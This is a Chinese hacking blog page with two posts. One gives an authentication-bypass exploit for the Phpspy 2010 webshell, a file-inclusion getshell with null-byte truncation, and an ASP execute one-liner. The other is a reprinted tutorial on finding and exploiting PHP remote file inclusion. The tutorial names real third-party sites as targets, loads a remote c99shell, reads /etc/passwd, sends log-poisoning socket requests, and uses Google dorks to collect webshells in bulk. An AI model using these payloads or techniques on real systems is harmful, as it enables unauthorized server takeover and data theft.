浏览模式: 标准 | 列表分类:PHP学习

Phpspy 2010 身份验证绕过漏洞

Submitted by admin
2011, April 23, 9:02 PM


利用代码:
<form method="POST" action="http://mirc.3est.com/1.php">
<input type="hidden" name="admin['pass']" value="1">
<input type="submit" value="Login">
</form>

在每次向shell请求数据的时候 都附加post一个admin['pass']即可。
形成原因:
2009不存在该洞,仅限2010版本,对比二者即可得到答案:
 foreach(array('_GET','_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}


#首发  www.3est.com
#发布作者 : 村长
#发布日期:2011-04.21

漏洞分析:

/index.php  源码

  1. /*--------------*/
  2. /*省略不必要代码*/
  3. /*--------------*/
  4.  
  5. $_REQUEST = cleanArrayForMysql($_REQUEST);
  6. $_GET     = cleanArrayForMysql($_GET);
  7. $_POST    = cleanArrayForMysql($_POST);
  8. $request  = $_REQUEST;
  9.  
  10. //上面传参都进行字符串转义,对于 ../ 没有任何影响
  11.  
  12. /*--------------*/
  13. /*省略不必要代码*/
  14. /*--------------*/
  15.  
  16. $request['m']                =        !isset($request['m'])?'':$request['m'];                   //m没有过滤
  17. $params['model']        =        empty($request['m'])?$menu_arr['type']:$request['m'];
  18. $request['a']                =        !isset($request['a'])?'':$request['a'];                   //a没有过滤
  19. $params['action']        =        empty($request['a'])?'index':$request['a'];
  20.  
  21.  
  22. /*--------------*/
  23. /*省略不必要代码*/
  24. /*--------------*/
  25.  
  26. function layout_part($style='')
  27. {
  28.         global $params,$request;
  29.        
  30.         //如果本次升级影响了parts内sql的执行, 请手动注释destorydb函数体代码,切记不要删除
  31.         destorydb();
  32.        
  33.         if(!empty($style)) $style = '_'.$style;
  34.         $part_path=ABSPATH.'/skins/'.STYLENAME.'/parts/'.$params['model'].'_'.$params['action'].$style.'.php';       //含m和a参数的路径
  35.         $content_part_path=ABSPATH.'/content/'.$params['model'].'/parts_'.$params['action'].'.php';                  //含m和a参数的路径
  36.         if(is_file($part_path))
  37.                 require_once($part_path);            //包含漏洞出现   BY:村长
  38.  
  39.         elseif(is_file($content_part_path))
  40.                 require_once($content_part_path);    //包含漏洞出现 BY:村长
  41.         else  
  42.                 echo $part_path;
  43.                 echo $content_part_path;
  44.                 echo '<span style="color:RED"><strong>您当前选择的信息所在的分类栏目或频道可能已经被删除或不存在,请检查一下,该信息所在的栏目情况以及栏目是
  45.  
  46. 否存在!</strong></span>';
  47.        
  48.         // 如果本次升级影响了parts内sql的执行, 请手动注释如下代码recoverdb函数体代码,切记不要删除
  49.         recoverdb();
  50.        
  51.         isComments();
  52. }
复制代码

漏洞利用(前台 GETSHELL):

IIS或者某些apache版本下php文件系统可以进行路径截断,例如://///////////////////////////////// 或则%00

1.先上传PHP恶意代码的图片格式文件,复制上传源码 cun.html:

  1. <form id="frmUpload" enctype="multipart/form-data"
  2. action="http://127.0.0.1/editor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
  3. <input type="file" name="NewFile" size="50"><br>
  4. <input id="btnUpload" type="submit" value="Upload">
  5. </form>
复制代码

.假设得到图片路径 /upload/Media/cunzhang.gif  (利用的是FCK的,测试上传变"."为"_",FCK的不能直接上传为诸如1.asp;.jpg的文件的)

3.直接输入地址:http://127.0.0.1/?m=../upload/Media/cunzhang.gif%00

或则 输入 http://127.0.0.1/?m=../upload/Me ... ///////////////////(若干)



嗯,再给个后台拿SHELL的方法吧,方面给那些不能包含,能进后台的朋友说下


后台 GETSHELL:


依次点击 =》数据库管理=》数据库恢复=》浏览上传  

上传文件cunzhang.asp;.sql  内容为  <%Y=request("cun")%> <%execute(Y)%>

得到地址http://127.0.0.1/temp/data/cunzhang.asp;.sql     (利用IIS的解析漏洞,就是SHELL了)

PHP漏洞挖掘之旅——远程文件包含漏洞

Submitted by admin
2011, April 21, 8:31 AM

 本篇文章源自《黑客防线》2007年5月刊
转载请注明版权

作者:cnbird[H.U.C]河北泊头杨宁
===================================
 
大家好,我是cnbird[H.U.C],从这期开始,我将分几期来带领大家一起走进自己挖掘PHP漏洞的殿堂。
我的思路是这样的,先从最最简单的远程文件包含漏洞入手,因为远程文件包含漏洞容易查找,并且危险系数非常高。像我一样的菜鸟,容易挖掘出像这样简单但却利用率高的漏洞。之后就是传说中的SQL注入漏洞,涉及将会很广泛,从非常普通的$_POST和$_GET方式的SQL注入到比较高级的$_SESSION变量的注入。当然,我还会告诉大家如何在Linux下用grep命令快速寻找这样的SQL注入漏洞,以及如何http://google.com/codesearch中寻找大量的特定SQL注入漏洞代码。第三步就是教大家如何寻找上传漏洞、远程代码运行,以及远程修改管理员密码等高级的PHP漏洞。
小提示
Get和Post是HTTP/1.1协议中的两个传送数据的方式。两者的区别通过提交表单才能看得出来,主要是在数据发送方式和接收方式上。一般来说,尽量避免使用Get方式提交表单,因为有可能会导致安全问题。比如在登录表单中用Get方式,用户输入的用户名和密码将在地址栏中暴露无遗。但是在分页程序中,用Get方式就比用Post方式好。

挖掘PHP漏洞的基本环境
要搭建PHP运行环境,Windows下的用户可以下载WAPM来构造,它是运行于Windows平台的综合网络服务器系统,包含了以下组件:Apache2,互联网上最流行的Web服务软件之一,用于提供基本的Web服务功能,支持SSL、GZIP和LIC(IP同时连接数限制)功能;PHP4或PHP5,流行的动态网页语言,用于提供PHP语言的网络应用程序开发,支持ZendOptimizer优化功能和Zend加密功能,或者Turck MMCahe对PHP的加速、优化、加密、动态缓存功能;Tomcat4,用以提供JSP和Servlet的服务解析。MySQL4,用以SQL数据库功能。
如果是Linux下的用户就必须要有Apache和MySQL的支持。强烈推荐大家在Linux下操作文中的实例,因为这对熟悉PHP漏洞挖掘非常有帮助,比如我们要用到的grep的搜索字符串功能。

PHP远程文件包含漏洞原理
        什么才是远程文件包含漏洞呢?简单的说,就是服务器通过PHP的任意文件包含过滤不严,从而去执行一个恶意文件,这是程序过滤上的问题。PHP远程文件包含漏洞涉及的4个函数是include()、require()、include_once()和require_once(),它们之间的区别请,大家可以参http://php.chinaunix.net/manual/zh/function.include.php中的说明,我就不在这里不浪费口舌了。

PHP远程文件包含漏洞中的三种类型
        也许大家对PHP远程文件包含漏洞已经知道了很多,但是绝对不知道远程文件包含漏洞还包含三种类型吧?以下的内容是从我多年的漏洞代码分析中总结出来的经验,这部分大家一定不要错过,这三种类型我都会详细分析的。
第一种是PHP远程文件包含就是大家经常使用到的,用于测试的主角是Ultimate Fun Book 1.02,一个德国的小巧的记事本。下面我们就开始一步步地分析如何找远程文件包含漏洞并加以利用。
下载源代码到我的RedHat Linux操作系统上,用unzip命令解压缩zip包,进入程序的主目录,如图1所示。首先讲解一下grep的用法,这样大家可以方便地挖掘自己的漏洞。grep(global search regular expression(RE) and print out the line全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。我们主要使用的参数有如下几个:-n,在匹配的行前面打印行号;-r,递归查询,简单的说就是查询当前目录下所有的文件;匹配符*能匹配所有文件类型。具体的解释大家可以参http://man.chinaunix.net/newsoft/grep/open.htm。 
大小: 40.06 K
尺寸: 500 x 314
浏览: 53 次
点击打开新窗口浏览全图

图1
理解了grep的用法后,结合前面讲解的PHP远程文件包含涉及的几个函数,我们开始挖掘自己的漏洞之旅吧。
在命令行中输入“grep -r -n 'include' *”,如图2所示,没有输出任何结果,说明这个程序没有用到include函数。继续输入“grep –n –r 'require' *”,如图3所示,嘿嘿,出来了几个。此时注意看“ufbook/function.php:8:require($gbpfad."/config.php");”,结合以前的代码,我们知道这里的$gbpfad变量第一次出现,没有任何的过滤,在allow_url_fopen为ON的时候,我们就可以构建语句了,格式为“网站路径/function.php?gbpfad=远程要执行的代码”。

大小: 43.33 K
尺寸: 500 x 311
浏览: 57 次
点击打开新窗口浏览全图

大小: 46.66 K
尺寸: 479 x 181
浏览: 49 次
点击打开新窗口浏览全图  

我们先在本地测试一下,提交http://192.168.0.3/ufbook/FULL/ufbook/function.php?gbpfad=http://192.168.0.1/c99shell.txt?”,其中的192.168.0.3是我的Linux主机,192.168.0.1是我自己的机器。这条语句的意思就是让$gbpfad执行192.168.0.1上的c99shell.txt文件,如图4所示,这个时候我们就已经成功地执行了一个假的WebShell了。我们要拿到服务器上的WebShell也很简单,利用这个假的WebShell在服务器上找一个可写的目录,然后利用c99shell的上传功能把自己需要的WebShell上传就可以了。
大小: 59.29 K
尺寸: 500 x 278
浏览: 54 次
点击打开新窗口浏览全图

不过仅找到漏洞对我们来说还是不够的,我们为的是拿大量网站的WebShell。接下来我们就要找这个程序的特殊字符了,目的是为了用Google.com搜索有漏洞的网站。这套程序的特殊字符是“Powered by Ultimate-Fun-Book 1.02”,很简单也很明显,搜索后的结果如图5所示,找到了24个网站,看来用这套程序的还不是很多嘛。我们随便找一个试一下,具体过程我就省略了,大家可以用http://www.microcheese.de/ufbook/function.php?gbpfad=http://121.16.59.229/c99shell.txt?”来测试,如图6所示是我们成功后的结果。

大小: 41.76 K
尺寸: 500 x 200
浏览: 72 次
点击打开新窗口浏览全图

大小: 64.74 K
尺寸: 500 x 306
浏览: 52 次
点击打开新窗口浏览全图

第一种类型至此就分析完了,很简单吧?当然,我们防御的方法也很简单,如图7所示,只要把$gbpfad初始化一下就可以了
大小: 33.48 K
尺寸: 500 x 239
浏览: 51 次
点击打开新窗口浏览全图

图7
        第二种类型是本地包含PHP文件,这里给大家说一下漏洞所在就可以了,按照第一种方法可以找到漏洞。
漏洞代码:include“/include/” . $action . “php”;
利用方法:“exp.php?action=../../../../../etc/passwd%00”提交以后的包含代码就变成了“include “/include/” . ../../../../.,/etc/passwd%00.“php””。这里的“%00”在PHP中的意思就是截断以后的代码。比如有漏洞的地址是http://satconxion.org/instaladores/index.php?action=view&filename=../../../../../../etc/passwd”,则返回的结果就是“/etc/passwd”中的文件了,如图8所示。
大小: 48.98 K
尺寸: 500 x 319
浏览: 72 次
点击打开新窗口浏览全图

图8
第三种类型是本地文件包含其他,和第二种类型基本上差不多,就不多说了,漏洞代码为“include“/mods” . $moudle;”,漏洞利用为“exp.php?moudle=../../../../../../etc/passwd”。
其实第二种和第三种漏洞是能够直接得到WebShell的,这里先简单地跟大家解释一下,在高级部分我会详细讲解如何利用的。其原理就是把我们要执行的代码插入到Apache的日志Log中,然后自己写代码模拟Post方式向主机提交如下请求,这样就可以执行系统的命令了。

print $socket "GET ".$path."index.php?GLOBALS[tplname]=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";

关于挖掘PHP远程文件包含漏洞的讲解到这里就算结束了,最后我再教大家一个在Google.com上搜索远程文件包含漏洞的方法。首先打http://www.google.com/codesearch,搜索代码“^include\(\$(.*)\);$ lang:PHP”,意思就是搜索以include开头的匹配结果($后面是任意的名称),如图9所示,我们找到了7000个这样的程序,结合本文所写的找漏洞程序的特殊字符,就可以找到N多有漏洞的网站了,是不是很有成就感呢?呵呵,作为一个菜鸟,重要的是要多多总结,时刻记录下认为重要的东西,总结得多了,我们的技术自然就会慢慢增长了。

  大小: 54.24 K
尺寸: 500 x 302
浏览: 61 次
点击打开新窗口浏览全图

图9
        这期文章就写到这里了,下期的主要内容是SQL注入漏洞,提前透露一下,我们可不是简单地分析一些普通的没有过滤变量直接带入SQL语句查询的漏洞,而是要深入到PHP脚本程序的本身去挖掘SQL注入漏洞。好了,我们下期见吧!
 
 
 
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

Tags: 挖掘, php